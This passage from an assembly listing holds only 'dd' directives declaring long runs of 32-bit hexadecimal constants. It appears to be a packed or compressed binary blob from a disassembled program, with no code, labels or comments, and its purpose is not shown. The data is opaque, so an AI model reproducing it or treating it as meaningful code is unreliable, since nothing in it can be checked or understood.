		dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h
		dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h
		dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h
		dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h
		dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h
		dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h,	73870015h
		dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh,	1806BEh
		dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h
		dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh,	47743E40h
		dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h
		dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h,	6ECF7013h
		dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h
		dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h
		dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh,	587404CCh
		dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h
		dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h
		dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh,	73036EA0h
		dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h
		dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh
		dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h,	5138C2C7h
		dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h
		dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h
		dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h
		dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh
		dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah
		dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh
		dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h
		dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h
		dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h
		dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh
		dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h
		dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h
		dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h
		dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch,	41151268h
		dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h,	0E03E60Bh
		dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h,	2712E5E4h
		dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh
		dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h
		dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h
		dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h
		dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh
		dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh,	391EFA01h
		dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h
		dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h,	213BA044h
		dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h
		dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h
		dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h
		dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h
		dd 0A650528Dh, 8BED40h,	104F944Ch, 41112FD7h, 714AFC00h
		dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h,	5501D834h
		dd 0D054CEh, 7E2AE975h,	0ACC8EF82h, 5AC44A00h, 248D5801h
		dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h,	3EA5CB29h
		dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch,	5213C201h
		dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h,	4003A310h
		dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
		dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
		dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
		dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
		dd 8001DB44h, 0FB3AF9B8h
		dd 2822C77h, 0FA34A86h,	390225D0h, 13A424DBh, 9D4AC190h
		dd 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h,	0FC58252Dh
		dd 70261BC0h, 27C754Ah,	1F7DDA39h, 5068D329h, 9E000519h
		dd 0F416117Fh, 6394C9h,	313A7D25h, 89E50AD2h, 2A93D900h
		dd 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h,	0FC304086h
		dd 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h
		dd 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h
		dd 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h,	8334F1FCh
		dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h
		dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h
		dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h,	23AFC2FCh
		dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h
		dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h,	949B0C60h
		dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h
		dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h
		dd 593D4080h, 0DA8906h,	1347E95Bh, 9C36C34Ah, 83A8B83Fh
		dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh
		dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h
		dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h
		dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h
		dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h
		dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h
		dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch
		dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch
		dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h,	0F7B400Eh
		dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah
		dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h,	30071A91h
		dd 1DCC2C58h, 1A86A58h,	0D4612D44h, 10F0BB28h, 433E4C0h
		dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh,	0CB5C03h
		dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh
		dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h,	0F243846h
		dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah
		dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h
		dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh,	554F409Ch
		dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h
		dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h
		dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h
		dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h
		dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h
		dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h
		dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h
		dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h
		dd 0E0485E25h, 8BA18Ah,	0E4D414A3h, 88909DA4h, 64836602h
		dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh
		dd 51FF100Ch, 419FC15h,	0C3A78AAEh, 6071805Ah, 7304123Ah
		dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah
		dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h
		dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h
		dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh
		dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h
		dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h
		dd 88E3CCA8h, 1385150h,	0CBD48A23h, 7056B2CFh, 6B00B387h
		dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h
		dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h
		dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h,	0ACDD5634h
		dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h
		dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah
		dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h
		dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch,	57A5C7A3h
		dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah
		dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh,	3D8E230h
		dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h
		dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h,	4271109Dh
		dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h,	0BF4B2D87h
		dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch
		dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch
		dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h
		dd 78207B96h, 90100B9h,	6531F3E8h, 2B0F27B6h, 6FAA56B0h
		dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h
		dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h
		dd 0AD05D354h, 91F849h,	6CC88925h, 0A34A2471h, 0A540400h
		dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh
		dd 188A910h, 6AE48661h,	0C0953F1Ch, 0C8002C97h,	6B7C818Fh
		dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h
		dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h
		dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h
		dd 19A810h, 0EF755CC2h,	6FB8F844h, 64B05B00h, 0C94BC4B3h
		dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h,	84D0C3EFh
		dd 7A88214Ch, 53CF022h,	9D7D83F4h, 5598C0C2h, 85001018h
		dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h
		dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh
		dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh
		dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h
		dd 1468D0Fh, 6268C0AAh,	844BE8h, 39554C64h, 0C749F8CEh
		dd 936F400h, 1F8203D0h,	90FA0081h, 618F0FA4h, 40488B92h
		dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
		dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
		dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
		dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
		dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h,	321D336Ch
		dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
		dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h,	40FFE3CEh
		dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
		dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h,	64210052h
		dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
		dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
		dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h
		dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch,	0F61811h
		dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh
		dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h
		dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h
		dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh
		dd 73041E20h
		dd 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h, 0CA655F72h
		dd 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh, 6E232938h
		dd 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h, 0B5213912h
		dd 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh, 9BC2A088h
		dd 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h, 0BFA37756h
		dd 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h, 8FE8C0E0h
		dd 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h, 0EB45A1C2h
		dd 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh,	2E030A37h
		dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h,	0CB41FCEEh
		dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h,	998438Bh
		dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch
		dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h,	0AC042512h
		dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h
		dd 2993E8h, 0E6A2D272h,	11C98E7Dh, 6DF81F00h, 1DF1F35Eh
		dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h
		dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h
		dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h,	6CB0C46h
		dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h
		dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h,	65D6E800h
		dd 827A079h, 50C4FA18h,	0B80FE502h, 29C00313h, 62491778h
		dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh
		dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch
		dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh
		dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h
		dd 0AB303950h, 5CAD2Ah,	0B1D58990h, 968D1361h, 7C2EB900h
		dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh,	0BC074C79h
		dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h
		dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h
		dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h,	6FC91781h
		dd 607E316Bh, 20736C0h,	0FA480775h, 5EE4B1E0h, 0A47CC3h
		dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h,	0DBF08BB3h
		dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h,	4BCAE0EAh
		dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h
		dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h,	200AAE11h
		dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h,	0E6F34Ch
		dd 0EF461CD3h, 20C30Eh,	0F718AFA6h, 0E9B767B8h,	0A97231Dh
		dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh,	0B400FA83h
		dd 85541977h, 6032198h,	132453E1h, 41C5E94Eh, 98042CD4h
		dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h
		dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h
		dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah
		dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh,	58005216h
		dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h
		dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh,	0DBF2724Ch
		dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh,	6500F426h
		dd 104B8339h, 203CA2Bh,	7CF080C4h, 0A1808A1Fh, 3A9B3C42h
		dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h
		dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h,	43C30EACh
		dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h
		dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h,	0BCC60C00h
		dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah,	76805A00h
		dd 45E89C6h, 56FF1D17h,	4587C718h, 0B8942069h, 76007166h
		dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h
		dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh
		dd 1167FD1h, 7DC5A30Eh,	421900F4h, 5F4CA4F3h, 59503302h
		dd 100DA85h, 915D7A62h,	0B6E3D06h, 0AB75A04Eh, 39F6C780h
		dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h
		dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h
		dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h
		dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h,	0CB802BBBh
		dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h,	0AEA0BAh
		dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h
		dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h
		dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h
		dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h
		dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h
		dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch
		dd 71416CBh, 7F8DD5A2h,	0F29C02Bh, 5F001FE2h, 2CDB92C0h
		dd 4F6855h, 0DE011990h,	0ECE8C1C9h, 4224B201h, 3D620F16h
		dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h
		dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h,	0CB473198h
		dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh,	150001A4h
		dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh
		dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h,	8C7A1698h
		dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah,	43B7E16Fh
		dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h
		dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h
		dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh
		dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h
		dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh
		dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh
		dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h
		dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh
		dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h,	8FD1D7B7h
		dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh,	45812296h
		dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h
		dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh
		dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h,	0E78E617h
		dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h
		dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh
		dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h,	8029F2CCh
		dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h
		dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah
		dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h
		dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h
		dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h
		dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h
		dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
		dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
		dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
		dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
		dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
		dd 0B18D0h, 875C91Dh
		dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh
		dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h
		dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh
		dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h
		dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h
		dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h
		dd 5F18000h, 481C2478h,	0FFDA00C3h, 0E8048237h,	0ED30F8D9h
		dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah,	0A77B9EDAh
		dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch
		dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h
		dd 251520Fh, 40400FABh,	9C7C20F9h, 302C00F1h, 0D81C051Ah
		dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h,	0C121061Ch
		dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h
		dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h,	9D5442h
		dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h,	317F000Ah
		dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h
		dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh
		dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h
		dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h
		dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h
		dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh
		dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h
		dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h
		dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h
		dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h
		dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah,	0D22E00E8h
		dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh
		dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h,	83784Fh
		dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h,	5771E14h
		dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h,	0A8CD191Fh
		dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh
		dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh
		dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h
		dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h
		dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h
		dd 8466937h, 94047BC8h,	4B13BA00h, 75F998B1h, 25EE6Eh
		dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h
		dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh
		dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h
		dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h
		dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch
		dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h,	98396072h
		dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h
		dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h
		dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h
		dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h,	0DEC491C8h
		dd 0F8CE100h, 3D207B7h,	10E200C1h, 0B0C3C20Bh, 4F98A1E8h
		dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h,	4914DC05h
		dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh
		dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h,	0A2423A3Ch
		dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h,	1CF539F4h
		dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh
		dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h
		dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh
		dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h
		dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh
		dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h
		dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh,	91B123B0h
		dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h
